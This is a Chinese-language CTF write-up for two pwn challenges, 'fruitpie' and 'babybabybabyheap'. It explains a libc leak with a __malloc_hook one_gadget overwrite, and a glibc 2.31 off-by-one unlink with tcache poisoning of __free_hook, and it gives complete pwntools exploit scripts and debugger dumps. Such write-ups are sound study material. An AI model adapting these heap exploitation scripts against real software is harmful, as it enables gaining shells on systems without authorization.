fruitpie
思路挺简单的
程序流程
基本上分为四部分。
输入要分配的chunk大小,打印chunk地址
输入与分配chunk的偏移,往该地址中输入0x10数据。
malloc(0xA0) => 很明显是要覆盖__malloc_hook
close(1) => 关闭输出,所以要重定向(本地就不需要了)
漏洞利用
根据程序的四个功能,一步步来做
给定chunk大小并打印
可以输入一个很大的chunk(和高校战役force 的第一步操作类似),泄露的块地址和libc_base偏移固定,故可以得到libc_base
输入偏移,输入数据
偏移计算
由功能3可以明确知道,是要覆盖__malloc_hook
由功能1得到了libc_base,可以计算__malloc_hook的地址
故可以利用__malloc_hook地址 - chunk地址 = offset
数据
输入one_gadget地址即可
本地不需要调整栈帧,直接发送one_gadget即可
malloc(0xA0)
即可get shell
close(1) [本地不需要]
需要输出重定向
"exec 1>&0"
详细过程 0.基本信息
保护全开,libc是2.27的
1 2 3 4 5 6 [*] '/home/winter/mar/fruitpie/fruitpie' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
1 2 3 winter@ubuntu:~/mar/fruitpie$ strings libc.so.6 | grep GNU GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27. Compiled by GNU CC version 7.5.0.
1.分配大块,计算libc_base 1 2 3 4 5 [DEBUG] Sent 0x8 bytes: '1048576\n' [DEBUG] Received 0x17 bytes: '0x7f06e5785010\n' 'Offset:\n'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x55d2669e0000 0x55d2669e2000 r-xp 2000 0 /home/winter/mar/fruitpie/fruitpie 0x55d266be1000 0x55d266be2000 r--p 1000 1000 /home/winter/mar/fruitpie/fruitpie 0x55d266be2000 0x55d266be3000 rw-p 1000 2000 /home/winter/mar/fruitpie/fruitpie 0x55d266c68000 0x55d266c89000 rw-p 21000 0 [heap] 0x7f06e526e000 0x7f06e5455000 r-xp 1e7000 0 /home/winter/mar/fruitpie/libc.so.6 0x7f06e5455000 0x7f06e5655000 ---p 200000 1e7000 /home/winter/mar/fruitpie/libc.so.6 0x7f06e5655000 0x7f06e5659000 r--p 4000 1e7000 /home/winter/mar/fruitpie/libc.so.6 0x7f06e5659000 0x7f06e565b000 rw-p 2000 1eb000 /home/winter/mar/fruitpie/libc.so.6 0x7f06e565b000 0x7f06e565f000 rw-p 4000 0 0x7f06e565f000 0x7f06e5688000 r-xp 29000 0 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f06e5785000 0x7f06e5888000 rw-p 103000 0 0x7f06e5888000 0x7f06e5889000 r--p 1000 29000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f06e5889000 0x7f06e588a000 rw-p 1000 2a000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f06e588a000 0x7f06e588b000 rw-p 1000 0 0x7ffe87583000 0x7ffe875a4000 rw-p 21000 0 [stack] 0x7ffe875bd000 0x7ffe875c0000 r--p 3000 0 [vvar] 0x7ffe875c0000 0x7ffe875c2000 r-xp 2000 0 [vdso] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
0x7f06e5785010 - 0x7f06e526e000 = 0x517010
1 2 3 4 5 6 7 8 p.recvuntil("Enter the size to malloc:" ) p.sendline(str(1048576 )) p.recvuntil("0x" ) chunk_base = int(p.recv(12 ).strip(),16 ) log.success(hex(chunk_base)) libc_base = chunk_base - 0x517010 log.success(hex(libc_base))
2.计算偏移,发送数据
偏移就是offset = malloc_hook - chunk_base
数据就是onegadget[1]+libc_base
1 2 3 4 5 6 7 8 9 malloc_hook = libc_base + libc.sym['__malloc_hook' ] offset = malloc_hook - chunk_base p.recvuntil("Offset:" ) p.sendline(hex(offset)) onegadget = [0x415e6 ,0x4163a ,0xdfac1 ] p.recvuntil("Data:" ) payload = p64(onegadget[1 ]+libc_base) p.sendline(payload)
因为程序不支持调试,所以需要用支持debug版本的libc才能看得到,,,懒得再整一遍了orz
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *elf = ELF("./fruitpie" ) context.log_level = 'debug' p = process("./fruitpie" ,env={"LD_PRELOAD" :"./libc.so.6" }) libc = ELF("./libc.so.6" ) p.recvuntil("Enter the size to malloc:" ) p.sendline(str(1048576 )) p.recvuntil("0x" ) chunk_base = int(p.recv(12 ).strip(),16 ) log.success(hex(chunk_base)) libc_base = chunk_base - 0x517010 log.success(hex(libc_base)) malloc_hook = libc_base + libc.sym['__malloc_hook' ] offset = malloc_hook - chunk_base p.recvuntil("Offset:" ) p.sendline(hex(offset)) onegadget = [0x415e6 ,0x4163a ,0xdfac1 ] p.recvuntil("Data:" ) payload = p64(0x10a45c +libc_base) p.sendline(payload) p.interactive()
babybabybabyheap
2.31的off by one
程序流程 由四个功能,其中exit功能中有一个隐藏功能edit
程序一开始就送了一个puts的地址,可以计算libc地址
add:根据idx,size,content创建块,其中chunk指针被放入heap_list,长度也存入了size_list
show:根据idx,打印chunk内容
delete:根据size判断是否是否,size_list被置零,不存在uaf
隐藏功能edit:根据idx,修改内容,但是存在off by one
puts地址 ida反汇编并没有看到这个地址,汇编里面可以清楚看到
隐藏edit功能 main函数反汇编并不好看,直接汇编更加清楚
漏洞利用 off by one 分析程序 在输入函数中,将最后两位置零
add函数中,没有off by one
edit函数中,存在off by one
利用 分配程序,利用off by one,可以将size中代表前面是否释放的1位置零,使得上一个chunk被认为释放,并进行unlink操作。
例如:分配四个块:
chunk1 = 0x108(堆块重叠)
chunk2 = 0x118
chunk3 = 0x1f8(0x201(最后0x10是chunk头,0x1表示上一个块未释放))
chunk4 = 0x118(和chunk2相同,为了放在同一链中,chunk2 -> chunk4,修改chunk2中的内容,就可以任意地址申请chunk了)
首先在chunk1中伪造一个fake_chunk
通过chunk2可以将chunk3的大小改为0x200,并修改pre_size为chunk1+chunk2,这样,释放chunk3的时候,会以为fake_chunk也被释放,程序会进行unlink操作,合并三个chunk,这样chunk1和chunk2都是used,和fake_chunk中有重叠。
详细过程 0.基本信息
stripped代表程序去掉了符号表,需要使用debug版本的glibc进行调试
1 2 winter@ubuntu:~/mar/babybabybabyheap$ file babyheap babyheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c05390deb68a417f8d87365fd817c6396eca7462, for GNU/Linux 3.2.0, stripped
没开pie和relro,地址固定,并且可以修改got表
1 2 3 4 5 6 7 winter@ubuntu:~/ctf$ checksec babyheap [*] '/home/winter/ctf/babyheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
# 1.申请七个块
这七个块主要用来填满tcache。但是要在使用的四个chunk申请之后释放,不然会把这七个块中申请过来
1 2 for i in range(7): add(i+2,0x1f8,'winter')
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555556995000 Size: 0x291 Allocated chunk | PREV_INUSE Addr: 0x555556995290 Size: 0x201 Allocated chunk | PREV_INUSE Addr: 0x555556995490 Size: 0x201 Allocated chunk | PREV_INUSE Addr: 0x555556995690 Size: 0x201 Allocated chunk | PREV_INUSE Addr: 0x555556995890 Size: 0x201 Allocated chunk | PREV_INUSE Addr: 0x555556995a90 Size: 0x201 Allocated chunk | PREV_INUSE Addr: 0x555556995c90 Size: 0x201 Allocated chunk | PREV_INUSE Addr: 0x555556995e90 Size: 0x201 Top chunk | PREV_INUSE Addr: 0x555556996090 Size: 0x1ff71
2.申请使用的四个块
在第一个chunk伪造一个chunk,做unlink攻击
1 2 3 4 add(0 ,0x108 ,p64(0 )+p64(0x221 )+p64(fd)+p64(bk)) add(15 ,0x118 ,'winter' ) add(9 ,0x1f8 ,'winter' ) add(10 ,0x118 ,'winter' )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Allocated chunk | PREV_INUSE Addr: 0x5555557ec090 Size: 0x111 Allocated chunk | PREV_INUSE Addr: 0x5555557ec1a0 Size: 0x121 Allocated chunk | PREV_INUSE Addr: 0x5555557ec2c0 Size: 0x201 Allocated chunk | PREV_INUSE Addr: 0x5555557ec4c0 Size: 0x121 Top chunk | PREV_INUSE Addr: 0x5555557ec5e0 Size: 0x1fa21
1 2 3 4 5 6 pwndbg> x/30gx 0x5555557ec090 0x5555557ec090: 0x0000000000000000 0x0000000000000111 0x5555557ec0a0: 0x0000000000000000 0x0000000000000221 0x5555557ec0b0: 0x0000000000404128 0x0000000000404130 0x5555557ec0c0: 0x0000000000000000 0x0000000000000000 0x5555557ec0d0: 0x0000000000000000 0x0000000000000000
3.释放七个块,填满tcache
tcache填满,才会进行unlink,不然直接释放进入tcache中了
1 2 for i in range(7 ): delete(i+2 )
1 2 3 pwndbg> bins tcachebins 0x200 [ 7]: 0x555555fd6ea0 —▸ 0x555555fd6ca0 —▸ 0x555555fd6aa0 —▸ 0x555555fd68a0 —▸ 0x555555fd66a0 —▸ 0x555555fd64a0 —▸ 0x555555fd62a0 ◂— 0x0
4.off by one
填满chunk2,并修改chunk3的pre_size为伪造chunk大小
1 2 3 payload = "a" *0x110 payload += p64(0x220 ) edit(15 ,payload)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pwndbg> x/50gx 0x555555adb3a0 0x555555adb3a0: 0x0000000000000000 0x0000000000000121 #chunk2 0x555555adb3b0: 0x6161616161616161 0x6161616161616161 0x555555adb3c0: 0x6161616161616161 0x6161616161616161 0x555555adb3d0: 0x6161616161616161 0x6161616161616161 0x555555adb3e0: 0x6161616161616161 0x6161616161616161 0x555555adb3f0: 0x6161616161616161 0x6161616161616161 0x555555adb400: 0x6161616161616161 0x6161616161616161 0x555555adb410: 0x6161616161616161 0x6161616161616161 0x555555adb420: 0x6161616161616161 0x6161616161616161 0x555555adb430: 0x6161616161616161 0x6161616161616161 0x555555adb440: 0x6161616161616161 0x6161616161616161 0x555555adb450: 0x6161616161616161 0x6161616161616161 0x555555adb460: 0x6161616161616161 0x6161616161616161 0x555555adb470: 0x6161616161616161 0x6161616161616161 0x555555adb480: 0x6161616161616161 0x6161616161616161 0x555555adb490: 0x6161616161616161 0x6161616161616161 0x555555adb4a0: 0x6161616161616161 0x6161616161616161 0x555555adb4b0: 0x6161616161616161 0x6161616161616161 0x555555adb4c0: 0x0000000000000220 0x0000000000000200 #chunk3 0x555555adb4d0: 0x00007265746e6977 0x0000000000000000 0x555555adb4e0: 0x0000000000000000 0x0000000000000000
5.unlink合并 2.31中对unlink加入检查,需要size==pre_size
1 2 if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating" );
释放chunk3,则tcache满了,chunk3中chunk2的标志位为0,认为chunk2被释放,故进行向前合并,unlink
1 2 3 4 5 6 7 8 9 pwndbg> x/30gx 0x55555654d090 0x55555654d090: 0x0000000000000000 0x0000000000000111 0x55555654d0a0: 0x0000000000000000 0x0000000000000421#fake_chunk大小改变 0x55555654d0b0: 0x00007f809c23bbe0 0x00007f809c23bbe0 0x55555654d0c0: 0x0000000000000000 0x0000000000000000 0x55555654d0d0: 0x0000000000000000 0x0000000000000000 0x55555654d0e0: 0x0000000000000000 0x0000000000000000 0x55555654d0f0: 0x0000000000000000 0x0000000000000000 0x55555654d100: 0x0000000000000000 0x0000000000000000
此时已经造成堆块重叠了。
chunk1、chunk2与合并后的chunk重叠,并且合并后的chunk在unsortedbin中
6.释放chunk bk 释放chunk2和chunk4,tcache是先进先出
释放chunk2、chunk4
chunk2 -> chunk4
申请顺序是chunk4、chunk2
此时,chunk2中的fd指向下一个被释放的块
1 2 3 4 pwndbg> bins tcachebins 0x120 [ 2]: 0x555556fae1b0 —▸ 0x555556fae4d0 ◂— 0x0 0x200 [ 7]: 0x555556fadea0 —▸ 0x555556fadca0 —▸ 0x555556fadaa0 —▸ 0x555556fad8a0 —▸ 0x555556fad6a0 —▸ 0x555556fad4a0 —▸ 0x555556fad2a0 ◂— 0x0
7.切割unsortbin
申请一个大于chunk1大小的chunk,这样改chunk和chunk1+chunk2重叠
通过改chunk修改chunk2的fd指针,指向free_hook
1 add(18 ,0x150 ,"/bin/sh\x00" +'a' *0xf8 +p64(free_hook))
原来0x421的chunk被分割前0x161给申请的块了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> x/50gx 0x5555560e0090 0x5555560e0090: 0x0000000000000000 0x0000000000000111 0x5555560e00a0: 0x0000000000000000 0x0000000000000161#申请的chunk 0x5555560e00b0: 0x0068732f6e69622f 0x6161616161616161#填入binsh 0x5555560e00c0: 0x6161616161616161 0x6161616161616161 0x5555560e00d0: 0x6161616161616161 0x6161616161616161 0x5555560e00e0: 0x6161616161616161 0x6161616161616161 0x5555560e00f0: 0x6161616161616161 0x6161616161616161 0x5555560e0100: 0x6161616161616161 0x6161616161616161 0x5555560e0110: 0x6161616161616161 0x6161616161616161 0x5555560e0120: 0x6161616161616161 0x6161616161616161 0x5555560e0130: 0x6161616161616161 0x6161616161616161 0x5555560e0140: 0x6161616161616161 0x6161616161616161 0x5555560e0150: 0x6161616161616161 0x6161616161616161 0x5555560e0160: 0x6161616161616161 0x6161616161616161 0x5555560e0170: 0x6161616161616161 0x6161616161616161 0x5555560e0180: 0x6161616161616161 0x6161616161616161 0x5555560e0190: 0x6161616161616161 0x6161616161616161 0x5555560e01a0: 0x6161616161616161 0x6161616161616161 0x5555560e01b0: 0x00007f2af2d3ab28 0x00005555560d0000#chunk2的fd被修改 0x5555560e01c0: 0x6161616161616161 0x6161616161616161
1 2 3 pwndbg> bins tcachebins 0x120 [ 2]: 0x5555560e01b0 —▸ 0x7f2af2d3ab28 (__free_hook) ◂— 0x0
8.申请chunk2的fd为新的chunk
chunk2的fd被修改为free_hook
1 2 add(19 ,0x118 ,p64(system)) add(20 ,0x118 ,p64(system))
1 2 3 pwndbg> bins tcachebins 0x120 [ 1]: 0x7f4deb068b28 (__free_hook) ◂— 0x0
free_hook作为chunk申请走了
1 2 3 4 5 6 pwndbg> bins tcachebins 0x200 [ 7]: 0x55555636cea0 —▸ 0x55555636cca0 —▸ 0x55555636caa0 —▸ 0x55555636c8a0 —▸ 0x55555636c6a0 —▸ 0x55555636c4a0 —▸ 0x55555636c2a0 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x0
9.chunk2的内容作为参数,释放
即可get shell
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from pwn import *context.log_level = 'debug' file = "babyheap" local=1 if local == 0 : p = process("./" +file) elf = ELF("./" +file) libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so" ) elif local == 1 : p = process(["/usr/local/glibc-2.31/lib/ld-2.31.so" , "./" +file], env={"LD_PRELOAD" :"/usr/local/glibc-2.31/lib/libc-2.31.so" }) elf = ELF("./" +file) libc = ELF("/usr/local/glibc-2.31/lib/libc-2.31.so" ) elif local == 2 : p = remote() elf = ELF("./file" ) libc = ELF("./libc-2.31.so" ) def cmd (choice) : p.recvuntil(">>" ) p.sendline(str(choice)) def add (idx,size,content) : cmd(1 ) p.recvuntil("index?" ) p.sendline(str(idx)) p.recvuntil("size?" ) p.sendline(str(size)) p.recvuntil("content?" ) p.sendline(str(content)) def show (idx) : cmd(2 ) p.recvuntil("index?" ) p.sendline(str(idx)) def delete (idx) : cmd(3 ) p.recvuntil("index?" ) p.sendline(str(idx)) def edit (idx,content) : cmd(4 ) p.recvuntil("(y/n)" ) p.send("n" ) p.recvuntil("index?" ) p.sendline(str(idx)) p.recvuntil("content?" ) p.sendline(str(content)) p.recvuntil("gift: " ) puts_addr = int(p.recv(14 ).strip(),16 ) log.success("puts:" +hex(puts_addr)) libc_base = puts_addr - libc.sym['puts' ] log.success("libc_base:" +hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] for i in range(7 ): add(i+2 ,0x1f8 ,'winter' ) ptr = 0x404140 fd = ptr - 0x18 bk = ptr - 0x10 add(0 ,0x108 ,p64(0 )+p64(0x221 )+p64(fd)+p64(bk)) add(15 ,0x118 ,'winter' ) add(9 ,0x1f8 ,'winter' ) add(10 ,0x118 ,'winter' ) for i in range(7 ): delete(i+2 ) payload = "a" *0x110 payload += p64(0x220 ) edit(15 ,payload) delete(9 ) delete(10 ) delete(15 ) add(18 ,0x150 ,"/bin/sh\x00" +'a' *0xf8 +p64(free_hook)) add(19 ,0x118 ,p64(system)) add(20 ,0x118 ,p64(system)) gdb.attach(p) delete(18 ) p.interactive()
参考 & 下载